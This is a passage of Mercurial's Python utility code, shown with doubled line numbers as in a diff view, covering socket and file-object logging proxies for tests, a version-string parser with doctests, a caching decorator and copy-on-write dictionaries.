566 def _fillbuffer(self):
566 def _fillbuffer(self):
567 res = super(observedbufferedinputpipe, self)._fillbuffer()
567 res = super(observedbufferedinputpipe, self)._fillbuffer()
568
568
569 fn = getattr(self._input._observer, r'osread', None)
569 fn = getattr(self._input._observer, r'osread', None)
570 if fn:
570 if fn:
571 fn(res, _chunksize)
571 fn(res, _chunksize)
572
572
573 return res
573 return res
574
574
575 # We use different observer methods because the operation isn't
575 # We use different observer methods because the operation isn't
576 # performed on the actual file object but on us.
576 # performed on the actual file object but on us.
577 def read(self, size):
577 def read(self, size):
578 res = super(observedbufferedinputpipe, self).read(size)
578 res = super(observedbufferedinputpipe, self).read(size)
579
579
580 fn = getattr(self._input._observer, r'bufferedread', None)
580 fn = getattr(self._input._observer, r'bufferedread', None)
581 if fn:
581 if fn:
582 fn(res, size)
582 fn(res, size)
583
583
584 return res
584 return res
585
585
586 def readline(self, *args, **kwargs):
586 def readline(self, *args, **kwargs):
587 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
587 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
588
588
589 fn = getattr(self._input._observer, r'bufferedreadline', None)
589 fn = getattr(self._input._observer, r'bufferedreadline', None)
590 if fn:
590 if fn:
591 fn(res)
591 fn(res)
592
592
593 return res
593 return res
594
594
595 PROXIED_SOCKET_METHODS = {
595 PROXIED_SOCKET_METHODS = {
596 r'makefile',
596 r'makefile',
597 r'recv',
597 r'recv',
598 r'recvfrom',
598 r'recvfrom',
599 r'recvfrom_into',
599 r'recvfrom_into',
600 r'recv_into',
600 r'recv_into',
601 r'send',
601 r'send',
602 r'sendall',
602 r'sendall',
603 r'sendto',
603 r'sendto',
604 r'setblocking',
604 r'setblocking',
605 r'settimeout',
605 r'settimeout',
606 r'gettimeout',
606 r'gettimeout',
607 r'setsockopt',
607 r'setsockopt',
608 }
608 }
609
609
610 class socketproxy(object):
610 class socketproxy(object):
611 """A proxy around a socket that tells a watcher when events occur.
611 """A proxy around a socket that tells a watcher when events occur.
612
612
613 This is like ``fileobjectproxy`` except for sockets.
613 This is like ``fileobjectproxy`` except for sockets.
614
614
615 This type is intended to only be used for testing purposes. Think hard
615 This type is intended to only be used for testing purposes. Think hard
616 before using it in important code.
616 before using it in important code.
617 """
617 """
618 __slots__ = (
618 __slots__ = (
619 r'_orig',
619 r'_orig',
620 r'_observer',
620 r'_observer',
621 )
621 )
622
622
623 def __init__(self, sock, observer):
623 def __init__(self, sock, observer):
624 object.__setattr__(self, r'_orig', sock)
624 object.__setattr__(self, r'_orig', sock)
625 object.__setattr__(self, r'_observer', observer)
625 object.__setattr__(self, r'_observer', observer)
626
626
627 def __getattribute__(self, name):
627 def __getattribute__(self, name):
628 if name in PROXIED_SOCKET_METHODS:
628 if name in PROXIED_SOCKET_METHODS:
629 return object.__getattribute__(self, name)
629 return object.__getattribute__(self, name)
630
630
631 return getattr(object.__getattribute__(self, r'_orig'), name)
631 return getattr(object.__getattribute__(self, r'_orig'), name)
632
632
633 def __delattr__(self, name):
633 def __delattr__(self, name):
634 return delattr(object.__getattribute__(self, r'_orig'), name)
634 return delattr(object.__getattribute__(self, r'_orig'), name)
635
635
636 def __setattr__(self, name, value):
636 def __setattr__(self, name, value):
637 return setattr(object.__getattribute__(self, r'_orig'), name, value)
637 return setattr(object.__getattribute__(self, r'_orig'), name, value)
638
638
639 def __nonzero__(self):
639 def __nonzero__(self):
640 return bool(object.__getattribute__(self, r'_orig'))
640 return bool(object.__getattribute__(self, r'_orig'))
641
641
642 __bool__ = __nonzero__
642 __bool__ = __nonzero__
643
643
644 def _observedcall(self, name, *args, **kwargs):
644 def _observedcall(self, name, *args, **kwargs):
645 # Call the original object.
645 # Call the original object.
646 orig = object.__getattribute__(self, r'_orig')
646 orig = object.__getattribute__(self, r'_orig')
647 res = getattr(orig, name)(*args, **kwargs)
647 res = getattr(orig, name)(*args, **kwargs)
648
648
649 # Call a method on the observer of the same name with arguments
649 # Call a method on the observer of the same name with arguments
650 # so it can react, log, etc.
650 # so it can react, log, etc.
651 observer = object.__getattribute__(self, r'_observer')
651 observer = object.__getattribute__(self, r'_observer')
652 fn = getattr(observer, name, None)
652 fn = getattr(observer, name, None)
653 if fn:
653 if fn:
654 fn(res, *args, **kwargs)
654 fn(res, *args, **kwargs)
655
655
656 return res
656 return res
657
657
658 def makefile(self, *args, **kwargs):
658 def makefile(self, *args, **kwargs):
659 res = object.__getattribute__(self, r'_observedcall')(
659 res = object.__getattribute__(self, r'_observedcall')(
660 r'makefile', *args, **kwargs)
660 r'makefile', *args, **kwargs)
661
661
662 # The file object may be used for I/O. So we turn it into a
662 # The file object may be used for I/O. So we turn it into a
663 # proxy using our observer.
663 # proxy using our observer.
664 observer = object.__getattribute__(self, r'_observer')
664 observer = object.__getattribute__(self, r'_observer')
665 return makeloggingfileobject(observer.fh, res, observer.name,
665 return makeloggingfileobject(observer.fh, res, observer.name,
666 reads=observer.reads,
666 reads=observer.reads,
667 writes=observer.writes,
667 writes=observer.writes,
668 logdata=observer.logdata,
668 logdata=observer.logdata,
669 logdataapis=observer.logdataapis)
669 logdataapis=observer.logdataapis)
670
670
671 def recv(self, *args, **kwargs):
671 def recv(self, *args, **kwargs):
672 return object.__getattribute__(self, r'_observedcall')(
672 return object.__getattribute__(self, r'_observedcall')(
673 r'recv', *args, **kwargs)
673 r'recv', *args, **kwargs)
674
674
675 def recvfrom(self, *args, **kwargs):
675 def recvfrom(self, *args, **kwargs):
676 return object.__getattribute__(self, r'_observedcall')(
676 return object.__getattribute__(self, r'_observedcall')(
677 r'recvfrom', *args, **kwargs)
677 r'recvfrom', *args, **kwargs)
678
678
679 def recvfrom_into(self, *args, **kwargs):
679 def recvfrom_into(self, *args, **kwargs):
680 return object.__getattribute__(self, r'_observedcall')(
680 return object.__getattribute__(self, r'_observedcall')(
681 r'recvfrom_into', *args, **kwargs)
681 r'recvfrom_into', *args, **kwargs)
682
682
683 def recv_into(self, *args, **kwargs):
683 def recv_into(self, *args, **kwargs):
684 return object.__getattribute__(self, r'_observedcall')(
684 return object.__getattribute__(self, r'_observedcall')(
685 r'recv_info', *args, **kwargs)
685 r'recv_info', *args, **kwargs)
686
686
687 def send(self, *args, **kwargs):
687 def send(self, *args, **kwargs):
688 return object.__getattribute__(self, r'_observedcall')(
688 return object.__getattribute__(self, r'_observedcall')(
689 r'send', *args, **kwargs)
689 r'send', *args, **kwargs)
690
690
691 def sendall(self, *args, **kwargs):
691 def sendall(self, *args, **kwargs):
692 return object.__getattribute__(self, r'_observedcall')(
692 return object.__getattribute__(self, r'_observedcall')(
693 r'sendall', *args, **kwargs)
693 r'sendall', *args, **kwargs)
694
694
695 def sendto(self, *args, **kwargs):
695 def sendto(self, *args, **kwargs):
696 return object.__getattribute__(self, r'_observedcall')(
696 return object.__getattribute__(self, r'_observedcall')(
697 r'sendto', *args, **kwargs)
697 r'sendto', *args, **kwargs)
698
698
699 def setblocking(self, *args, **kwargs):
699 def setblocking(self, *args, **kwargs):
700 return object.__getattribute__(self, r'_observedcall')(
700 return object.__getattribute__(self, r'_observedcall')(
701 r'setblocking', *args, **kwargs)
701 r'setblocking', *args, **kwargs)
702
702
703 def settimeout(self, *args, **kwargs):
703 def settimeout(self, *args, **kwargs):
704 return object.__getattribute__(self, r'_observedcall')(
704 return object.__getattribute__(self, r'_observedcall')(
705 r'settimeout', *args, **kwargs)
705 r'settimeout', *args, **kwargs)
706
706
707 def gettimeout(self, *args, **kwargs):
707 def gettimeout(self, *args, **kwargs):
708 return object.__getattribute__(self, r'_observedcall')(
708 return object.__getattribute__(self, r'_observedcall')(
709 r'gettimeout', *args, **kwargs)
709 r'gettimeout', *args, **kwargs)
710
710
711 def setsockopt(self, *args, **kwargs):
711 def setsockopt(self, *args, **kwargs):
712 return object.__getattribute__(self, r'_observedcall')(
712 return object.__getattribute__(self, r'_observedcall')(
713 r'setsockopt', *args, **kwargs)
713 r'setsockopt', *args, **kwargs)
714
714
715 class baseproxyobserver(object):
715 class baseproxyobserver(object):
716 def _writedata(self, data):
716 def _writedata(self, data):
717 if not self.logdata:
717 if not self.logdata:
718 if self.logdataapis:
718 if self.logdataapis:
719 self.fh.write('\n')
719 self.fh.write('\n')
720 self.fh.flush()
720 self.fh.flush()
721 return
721 return
722
722
723 # Simple case writes all data on a single line.
723 # Simple case writes all data on a single line.
724 if b'\n' not in data:
724 if b'\n' not in data:
725 if self.logdataapis:
725 if self.logdataapis:
726 self.fh.write(': %s\n' % stringutil.escapestr(data))
726 self.fh.write(': %s\n' % stringutil.escapestr(data))
727 else:
727 else:
728 self.fh.write('%s> %s\n'
728 self.fh.write('%s> %s\n'
729 % (self.name, stringutil.escapestr(data)))
729 % (self.name, stringutil.escapestr(data)))
730 self.fh.flush()
730 self.fh.flush()
731 return
731 return
732
732
733 # Data with newlines is written to multiple lines.
733 # Data with newlines is written to multiple lines.
734 if self.logdataapis:
734 if self.logdataapis:
735 self.fh.write(':\n')
735 self.fh.write(':\n')
736
736
737 lines = data.splitlines(True)
737 lines = data.splitlines(True)
738 for line in lines:
738 for line in lines:
739 self.fh.write('%s> %s\n'
739 self.fh.write('%s> %s\n'
740 % (self.name, stringutil.escapestr(line)))
740 % (self.name, stringutil.escapestr(line)))
741 self.fh.flush()
741 self.fh.flush()
742
742
743 class fileobjectobserver(baseproxyobserver):
743 class fileobjectobserver(baseproxyobserver):
744 """Logs file object activity."""
744 """Logs file object activity."""
745 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
745 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
746 logdataapis=True):
746 logdataapis=True):
747 self.fh = fh
747 self.fh = fh
748 self.name = name
748 self.name = name
749 self.logdata = logdata
749 self.logdata = logdata
750 self.logdataapis = logdataapis
750 self.logdataapis = logdataapis
751 self.reads = reads
751 self.reads = reads
752 self.writes = writes
752 self.writes = writes
753
753
754 def read(self, res, size=-1):
754 def read(self, res, size=-1):
755 if not self.reads:
755 if not self.reads:
756 return
756 return
757 # Python 3 can return None from reads at EOF instead of empty strings.
757 # Python 3 can return None from reads at EOF instead of empty strings.
758 if res is None:
758 if res is None:
759 res = ''
759 res = ''
760
760
761 if size == -1 and res == '':
761 if size == -1 and res == '':
762 # Suppress pointless read(-1) calls that return
762 # Suppress pointless read(-1) calls that return
763 # nothing. These happen _a lot_ on Python 3, and there
763 # nothing. These happen _a lot_ on Python 3, and there
764 # doesn't seem to be a better workaround to have matching
764 # doesn't seem to be a better workaround to have matching
765 # Python 2 and 3 behavior. :(
765 # Python 2 and 3 behavior. :(
766 return
766 return
767
767
768 if self.logdataapis:
768 if self.logdataapis:
769 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
769 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
770
770
771 self._writedata(res)
771 self._writedata(res)
772
772
773 def readline(self, res, limit=-1):
773 def readline(self, res, limit=-1):
774 if not self.reads:
774 if not self.reads:
775 return
775 return
776
776
777 if self.logdataapis:
777 if self.logdataapis:
778 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
778 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
779
779
780 self._writedata(res)
780 self._writedata(res)
781
781
782 def readinto(self, res, dest):
782 def readinto(self, res, dest):
783 if not self.reads:
783 if not self.reads:
784 return
784 return
785
785
786 if self.logdataapis:
786 if self.logdataapis:
787 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
787 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
788 res))
788 res))
789
789
790 data = dest[0:res] if res is not None else b''
790 data = dest[0:res] if res is not None else b''
791 self._writedata(data)
791 self._writedata(data)
792
792
793 def write(self, res, data):
793 def write(self, res, data):
794 if not self.writes:
794 if not self.writes:
795 return
795 return
796
796
797 # Python 2 returns None from some write() calls. Python 3 (reasonably)
797 # Python 2 returns None from some write() calls. Python 3 (reasonably)
798 # returns the integer bytes written.
798 # returns the integer bytes written.
799 if res is None and data:
799 if res is None and data:
800 res = len(data)
800 res = len(data)
801
801
802 if self.logdataapis:
802 if self.logdataapis:
803 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
803 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
804
804
805 self._writedata(data)
805 self._writedata(data)
806
806
807 def flush(self, res):
807 def flush(self, res):
808 if not self.writes:
808 if not self.writes:
809 return
809 return
810
810
811 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
811 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
812
812
813 # For observedbufferedinputpipe.
813 # For observedbufferedinputpipe.
814 def bufferedread(self, res, size):
814 def bufferedread(self, res, size):
815 if not self.reads:
815 if not self.reads:
816 return
816 return
817
817
818 if self.logdataapis:
818 if self.logdataapis:
819 self.fh.write('%s> bufferedread(%d) -> %d' % (
819 self.fh.write('%s> bufferedread(%d) -> %d' % (
820 self.name, size, len(res)))
820 self.name, size, len(res)))
821
821
822 self._writedata(res)
822 self._writedata(res)
823
823
824 def bufferedreadline(self, res):
824 def bufferedreadline(self, res):
825 if not self.reads:
825 if not self.reads:
826 return
826 return
827
827
828 if self.logdataapis:
828 if self.logdataapis:
829 self.fh.write('%s> bufferedreadline() -> %d' % (
829 self.fh.write('%s> bufferedreadline() -> %d' % (
830 self.name, len(res)))
830 self.name, len(res)))
831
831
832 self._writedata(res)
832 self._writedata(res)
833
833
834 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
834 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
835 logdata=False, logdataapis=True):
835 logdata=False, logdataapis=True):
836 """Turn a file object into a logging file object."""
836 """Turn a file object into a logging file object."""
837
837
838 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
838 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
839 logdata=logdata, logdataapis=logdataapis)
839 logdata=logdata, logdataapis=logdataapis)
840 return fileobjectproxy(fh, observer)
840 return fileobjectproxy(fh, observer)
841
841
842 class socketobserver(baseproxyobserver):
842 class socketobserver(baseproxyobserver):
843 """Logs socket activity."""
843 """Logs socket activity."""
844 def __init__(self, fh, name, reads=True, writes=True, states=True,
844 def __init__(self, fh, name, reads=True, writes=True, states=True,
845 logdata=False, logdataapis=True):
845 logdata=False, logdataapis=True):
846 self.fh = fh
846 self.fh = fh
847 self.name = name
847 self.name = name
848 self.reads = reads
848 self.reads = reads
849 self.writes = writes
849 self.writes = writes
850 self.states = states
850 self.states = states
851 self.logdata = logdata
851 self.logdata = logdata
852 self.logdataapis = logdataapis
852 self.logdataapis = logdataapis
853
853
854 def makefile(self, res, mode=None, bufsize=None):
854 def makefile(self, res, mode=None, bufsize=None):
855 if not self.states:
855 if not self.states:
856 return
856 return
857
857
858 self.fh.write('%s> makefile(%r, %r)\n' % (
858 self.fh.write('%s> makefile(%r, %r)\n' % (
859 self.name, mode, bufsize))
859 self.name, mode, bufsize))
860
860
861 def recv(self, res, size, flags=0):
861 def recv(self, res, size, flags=0):
862 if not self.reads:
862 if not self.reads:
863 return
863 return
864
864
865 if self.logdataapis:
865 if self.logdataapis:
866 self.fh.write('%s> recv(%d, %d) -> %d' % (
866 self.fh.write('%s> recv(%d, %d) -> %d' % (
867 self.name, size, flags, len(res)))
867 self.name, size, flags, len(res)))
868 self._writedata(res)
868 self._writedata(res)
869
869
870 def recvfrom(self, res, size, flags=0):
870 def recvfrom(self, res, size, flags=0):
871 if not self.reads:
871 if not self.reads:
872 return
872 return
873
873
874 if self.logdataapis:
874 if self.logdataapis:
875 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
875 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
876 self.name, size, flags, len(res[0])))
876 self.name, size, flags, len(res[0])))
877
877
878 self._writedata(res[0])
878 self._writedata(res[0])
879
879
880 def recvfrom_into(self, res, buf, size, flags=0):
880 def recvfrom_into(self, res, buf, size, flags=0):
881 if not self.reads:
881 if not self.reads:
882 return
882 return
883
883
884 if self.logdataapis:
884 if self.logdataapis:
885 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
885 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
886 self.name, size, flags, res[0]))
886 self.name, size, flags, res[0]))
887
887
888 self._writedata(buf[0:res[0]])
888 self._writedata(buf[0:res[0]])
889
889
890 def recv_into(self, res, buf, size=0, flags=0):
890 def recv_into(self, res, buf, size=0, flags=0):
891 if not self.reads:
891 if not self.reads:
892 return
892 return
893
893
894 if self.logdataapis:
894 if self.logdataapis:
895 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
895 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
896 self.name, size, flags, res))
896 self.name, size, flags, res))
897
897
898 self._writedata(buf[0:res])
898 self._writedata(buf[0:res])
899
899
900 def send(self, res, data, flags=0):
900 def send(self, res, data, flags=0):
901 if not self.writes:
901 if not self.writes:
902 return
902 return
903
903
904 self.fh.write('%s> send(%d, %d) -> %d' % (
904 self.fh.write('%s> send(%d, %d) -> %d' % (
905 self.name, len(data), flags, len(res)))
905 self.name, len(data), flags, len(res)))
906 self._writedata(data)
906 self._writedata(data)
907
907
908 def sendall(self, res, data, flags=0):
908 def sendall(self, res, data, flags=0):
909 if not self.writes:
909 if not self.writes:
910 return
910 return
911
911
912 if self.logdataapis:
912 if self.logdataapis:
913 # Returns None on success. So don't bother reporting return value.
913 # Returns None on success. So don't bother reporting return value.
914 self.fh.write('%s> sendall(%d, %d)' % (
914 self.fh.write('%s> sendall(%d, %d)' % (
915 self.name, len(data), flags))
915 self.name, len(data), flags))
916
916
917 self._writedata(data)
917 self._writedata(data)
918
918
919 def sendto(self, res, data, flagsoraddress, address=None):
919 def sendto(self, res, data, flagsoraddress, address=None):
920 if not self.writes:
920 if not self.writes:
921 return
921 return
922
922
923 if address:
923 if address:
924 flags = flagsoraddress
924 flags = flagsoraddress
925 else:
925 else:
926 flags = 0
926 flags = 0
927
927
928 if self.logdataapis:
928 if self.logdataapis:
929 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
929 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
930 self.name, len(data), flags, address, res))
930 self.name, len(data), flags, address, res))
931
931
932 self._writedata(data)
932 self._writedata(data)
933
933
934 def setblocking(self, res, flag):
934 def setblocking(self, res, flag):
935 if not self.states:
935 if not self.states:
936 return
936 return
937
937
938 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
938 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
939
939
940 def settimeout(self, res, value):
940 def settimeout(self, res, value):
941 if not self.states:
941 if not self.states:
942 return
942 return
943
943
944 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
944 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
945
945
946 def gettimeout(self, res):
946 def gettimeout(self, res):
947 if not self.states:
947 if not self.states:
948 return
948 return
949
949
950 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
950 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
951
951
952 def setsockopt(self, res, level, optname, value):
952 def setsockopt(self, res, level, optname, value):
953 if not self.states:
953 if not self.states:
954 return
954 return
955
955
956 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
956 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
957 self.name, level, optname, value, res))
957 self.name, level, optname, value, res))
958
958
959 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
959 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
960 logdata=False, logdataapis=True):
960 logdata=False, logdataapis=True):
961 """Turn a socket into a logging socket."""
961 """Turn a socket into a logging socket."""
962
962
963 observer = socketobserver(logh, name, reads=reads, writes=writes,
963 observer = socketobserver(logh, name, reads=reads, writes=writes,
964 states=states, logdata=logdata,
964 states=states, logdata=logdata,
965 logdataapis=logdataapis)
965 logdataapis=logdataapis)
966 return socketproxy(fh, observer)
966 return socketproxy(fh, observer)
967
967
968 def version():
968 def version():
969 """Return version information if available."""
969 """Return version information if available."""
970 try:
970 try:
971 from . import __version__
971 from . import __version__
972 return __version__.version
972 return __version__.version
973 except ImportError:
973 except ImportError:
974 return 'unknown'
974 return 'unknown'
975
975
976 def versiontuple(v=None, n=4):
976 def versiontuple(v=None, n=4):
977 """Parses a Mercurial version string into an N-tuple.
977 """Parses a Mercurial version string into an N-tuple.
978
978
979 The version string to be parsed is specified with the ``v`` argument.
979 The version string to be parsed is specified with the ``v`` argument.
980 If it isn't defined, the current Mercurial version string will be parsed.
980 If it isn't defined, the current Mercurial version string will be parsed.
981
981
982 ``n`` can be 2, 3, or 4. Here is how some version strings map to
982 ``n`` can be 2, 3, or 4. Here is how some version strings map to
983 returned values:
983 returned values:
984
984
985 >>> v = b'3.6.1+190-df9b73d2d444'
985 >>> v = b'3.6.1+190-df9b73d2d444'
986 >>> versiontuple(v, 2)
986 >>> versiontuple(v, 2)
987 (3, 6)
987 (3, 6)
988 >>> versiontuple(v, 3)
988 >>> versiontuple(v, 3)
989 (3, 6, 1)
989 (3, 6, 1)
990 >>> versiontuple(v, 4)
990 >>> versiontuple(v, 4)
991 (3, 6, 1, '190-df9b73d2d444')
991 (3, 6, 1, '190-df9b73d2d444')
992
992
993 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
993 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
994 (3, 6, 1, '190-df9b73d2d444+20151118')
994 (3, 6, 1, '190-df9b73d2d444+20151118')
995
995
996 >>> v = b'3.6'
996 >>> v = b'3.6'
997 >>> versiontuple(v, 2)
997 >>> versiontuple(v, 2)
998 (3, 6)
998 (3, 6)
999 >>> versiontuple(v, 3)
999 >>> versiontuple(v, 3)
1000 (3, 6, None)
1000 (3, 6, None)
1001 >>> versiontuple(v, 4)
1001 >>> versiontuple(v, 4)
1002 (3, 6, None, None)
1002 (3, 6, None, None)
1003
1003
1004 >>> v = b'3.9-rc'
1004 >>> v = b'3.9-rc'
1005 >>> versiontuple(v, 2)
1005 >>> versiontuple(v, 2)
1006 (3, 9)
1006 (3, 9)
1007 >>> versiontuple(v, 3)
1007 >>> versiontuple(v, 3)
1008 (3, 9, None)
1008 (3, 9, None)
1009 >>> versiontuple(v, 4)
1009 >>> versiontuple(v, 4)
1010 (3, 9, None, 'rc')
1010 (3, 9, None, 'rc')
1011
1011
1012 >>> v = b'3.9-rc+2-02a8fea4289b'
1012 >>> v = b'3.9-rc+2-02a8fea4289b'
1013 >>> versiontuple(v, 2)
1013 >>> versiontuple(v, 2)
1014 (3, 9)
1014 (3, 9)
1015 >>> versiontuple(v, 3)
1015 >>> versiontuple(v, 3)
1016 (3, 9, None)
1016 (3, 9, None)
1017 >>> versiontuple(v, 4)
1017 >>> versiontuple(v, 4)
1018 (3, 9, None, 'rc+2-02a8fea4289b')
1018 (3, 9, None, 'rc+2-02a8fea4289b')
1019
1019
1020 >>> versiontuple(b'4.6rc0')
1020 >>> versiontuple(b'4.6rc0')
1021 (4, 6, None, 'rc0')
1021 (4, 6, None, 'rc0')
1022 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1022 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1023 (4, 6, None, 'rc0+12-425d55e54f98')
1023 (4, 6, None, 'rc0+12-425d55e54f98')
1024 >>> versiontuple(b'.1.2.3')
1024 >>> versiontuple(b'.1.2.3')
1025 (None, None, None, '.1.2.3')
1025 (None, None, None, '.1.2.3')
1026 >>> versiontuple(b'12.34..5')
1026 >>> versiontuple(b'12.34..5')
1027 (12, 34, None, '..5')
1027 (12, 34, None, '..5')
1028 >>> versiontuple(b'1.2.3.4.5.6')
1028 >>> versiontuple(b'1.2.3.4.5.6')
1029 (1, 2, 3, '.4.5.6')
1029 (1, 2, 3, '.4.5.6')
1030 """
1030 """
1031 if not v:
1031 if not v:
1032 v = version()
1032 v = version()
1033 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1033 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1034 if not m:
1034 if not m:
1035 vparts, extra = '', v
1035 vparts, extra = '', v
1036 elif m.group(2):
1036 elif m.group(2):
1037 vparts, extra = m.groups()
1037 vparts, extra = m.groups()
1038 else:
1038 else:
1039 vparts, extra = m.group(1), None
1039 vparts, extra = m.group(1), None
1040
1040
1041 vints = []
1041 vints = []
1042 for i in vparts.split('.'):
1042 for i in vparts.split('.'):
1043 try:
1043 try:
1044 vints.append(int(i))
1044 vints.append(int(i))
1045 except ValueError:
1045 except ValueError:
1046 break
1046 break
1047 # (3, 6) -> (3, 6, None)
1047 # (3, 6) -> (3, 6, None)
1048 while len(vints) < 3:
1048 while len(vints) < 3:
1049 vints.append(None)
1049 vints.append(None)
1050
1050
1051 if n == 2:
1051 if n == 2:
1052 return (vints[0], vints[1])
1052 return (vints[0], vints[1])
1053 if n == 3:
1053 if n == 3:
1054 return (vints[0], vints[1], vints[2])
1054 return (vints[0], vints[1], vints[2])
1055 if n == 4:
1055 if n == 4:
1056 return (vints[0], vints[1], vints[2], extra)
1056 return (vints[0], vints[1], vints[2], extra)
1057
1057
1058 def cachefunc(func):
1058 def cachefunc(func):
1059 '''cache the result of function calls'''
1059 '''cache the result of function calls'''
1060 # XXX doesn't handle keywords args
1060 # XXX doesn't handle keywords args
1061 if func.__code__.co_argcount == 0:
1061 if func.__code__.co_argcount == 0:
1062 cache = []
1062 cache = []
1063 def f():
1063 def f():
1064 if len(cache) == 0:
1064 if len(cache) == 0:
1065 cache.append(func())
1065 cache.append(func())
1066 return cache[0]
1066 return cache[0]
1067 return f
1067 return f
1068 cache = {}
1068 cache = {}
1069 if func.__code__.co_argcount == 1:
1069 if func.__code__.co_argcount == 1:
1070 # we gain a small amount of time because
1070 # we gain a small amount of time because
1071 # we don't need to pack/unpack the list
1071 # we don't need to pack/unpack the list
1072 def f(arg):
1072 def f(arg):
1073 if arg not in cache:
1073 if arg not in cache:
1074 cache[arg] = func(arg)
1074 cache[arg] = func(arg)
1075 return cache[arg]
1075 return cache[arg]
1076 else:
1076 else:
1077 def f(*args):
1077 def f(*args):
1078 if args not in cache:
1078 if args not in cache:
1079 cache[args] = func(*args)
1079 cache[args] = func(*args)
1080 return cache[args]
1080 return cache[args]
1081
1081
1082 return f
1082 return f
1083
1083
1084 class cow(object):
1084 class cow(object):
1085 """helper class to make copy-on-write easier
1085 """helper class to make copy-on-write easier
1086
1086
1087 Call preparewrite before doing any writes.
1087 Call preparewrite before doing any writes.
1088 """
1088 """
1089
1089
1090 def preparewrite(self):
1090 def preparewrite(self):
1091 """call this before writes, return self or a copied new object"""
1091 """call this before writes, return self or a copied new object"""
1092 if getattr(self, '_copied', 0):
1092 if getattr(self, '_copied', 0):
1093 self._copied -= 1
1093 self._copied -= 1
1094 return self.__class__(self)
1094 return self.__class__(self)
1095 return self
1095 return self
1096
1096
1097 def copy(self):
1097 def copy(self):
1098 """always do a cheap copy"""
1098 """always do a cheap copy"""
1099 self._copied = getattr(self, '_copied', 0) + 1
1099 self._copied = getattr(self, '_copied', 0) + 1
1100 return self
1100 return self
1101
1101
1102 class sortdict(collections.OrderedDict):
1102 class sortdict(collections.OrderedDict):
1103 '''a simple sorted dictionary
1103 '''a simple sorted dictionary
1104
1104
1105 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1105 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1106 >>> d2 = d1.copy()
1106 >>> d2 = d1.copy()
1107 >>> d2
1107 >>> d2
1108 sortdict([('a', 0), ('b', 1)])
1108 sortdict([('a', 0), ('b', 1)])
1109 >>> d2.update([(b'a', 2)])
1109 >>> d2.update([(b'a', 2)])
1110 >>> list(d2.keys()) # should still be in last-set order
1110 >>> list(d2.keys()) # should still be in last-set order
1111 ['b', 'a']
1111 ['b', 'a']
1112 '''
1112 '''
1113
1113
1114 def __setitem__(self, key, value):
1114 def __setitem__(self, key, value):
1115 if key in self:
1115 if key in self:
1116 del self[key]
1116 del self[key]
1117 super(sortdict, self).__setitem__(key, value)
1117 super(sortdict, self).__setitem__(key, value)
1118
1118
1119 if pycompat.ispypy:
1119 if pycompat.ispypy:
1120 # __setitem__() isn't called as of PyPy 5.8.0
1120 # __setitem__() isn't called as of PyPy 5.8.0
1121 def update(self, src):
1121 def update(self, src):
1122 if isinstance(src, dict):
1122 if isinstance(src, dict):
1123 src = src.iteritems()
1123 src = src.iteritems()
1124 for k, v in src:
1124 for k, v in src:
1125 self[k] = v
1125 self[k] = v
1126
1126
1127 class cowdict(cow, dict):
1127 class cowdict(cow, dict):
1128 """copy-on-write dict
1128 """copy-on-write dict
1129
1129
1130 Be sure to call d = d.preparewrite() before writing to d.
1130 Be sure to call d = d.preparewrite() before writing to d.
1131
1131
1132 >>> a = cowdict()
1132 >>> a = cowdict()
1133 >>> a is a.preparewrite()
1133 >>> a is a.preparewrite()
1134 True
1134 True
1135 >>> b = a.copy()
1135 >>> b = a.copy()
1136 >>> b is a
1136 >>> b is a
1137 True
1137 True
1138 >>> c = b.copy()
1138 >>> c = b.copy()
1139 >>> c is a
1139 >>> c is a
1140 True
1140 True
1141 >>> a = a.preparewrite()
1141 >>> a = a.preparewrite()
1142 >>> b is a
1142 >>> b is a
1143 False
1143 False
1144 >>> a is a.preparewrite()
1144 >>> a is a.preparewrite()
1145 True
1145 True
1146 >>> c = c.preparewrite()
1146 >>> c = c.preparewrite()
1147 >>> b is c
1147 >>> b is c
1148 False
1148 False
1149 >>> b is b.preparewrite()
1149 >>> b is b.preparewrite()
1150 True
1150 True
1151 """
1151 """
1152
1152
1153 class cowsortdict(cow, sortdict):
1153 class cowsortdict(cow, sortdict):
